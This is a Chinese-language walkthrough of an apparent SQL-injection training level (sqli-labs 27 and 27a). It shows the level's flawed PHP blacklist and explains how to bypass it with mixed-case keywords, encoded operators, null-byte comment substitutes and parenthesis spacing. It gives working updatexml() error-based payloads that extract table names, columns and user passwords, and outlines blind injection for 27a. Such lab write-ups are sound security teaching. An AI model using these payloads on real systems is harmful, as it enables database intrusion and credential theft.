1. 思路分析
这一关表上上告诉你他只是过滤了union
和select
,其实不然。
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
过滤掉的东西远比你想象得多。
但是有一个指明的漏洞,就是过滤机制没有使用忽略大小写,那么题目就仅仅只会过滤select
,SELECT
,Select
,而当我们输入一个SelEcT
的时候,他是不会过滤的。
其中/m
是多行匹配,/s
是空白符匹配,因此还是尽量不要使用空格,这里没有对updatexml()
进行限制,我们直接用这个注入就好。
2. 注入过程
先看一下原生SQL
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
我们的思路就是直接构造id闭合,然后用and
连接一个updatexml()
,进行报错注入就好了。
这里要注意几点:
- 空白字符会被吃到,尽管
and
没有被过滤,但是还是使用%26%26
更方便。 - 注释被过滤了,可以使用
;%00
代替--
或#
- 在进行
select
查询的时候,使用()
来代替空格的分隔作用。
那么首先查看一下数据表:
?id=1' %26%26 updatexml(1,concat('~~',(SelEct(group_concat(table_name)) from(information_schema.tables)where(table_schema="security"))),1);%00
然后在查users
表中的字段有哪些?
?id=1' %26%26 updatexml(1,concat('~~',(SelEct(group_concat(column_name)) from(information_schema.columns)where(table_name="users"%26%26table_schema="security"))),1);%00
最后查一下账户信息
?id=1' %26%26 updatexml(1,concat('~~',(SelEct(group_concat(password)) from(users))),1);%00
3. 27a
27a和27的差别就是,将详细的错误信息给屏蔽掉了。
这样可以使用盲注。
?id=1"%26%26(payload);%00
可以自己构造payload进行注入。(通过ascii
和substr()
和length()
进行长度检测,字符判断)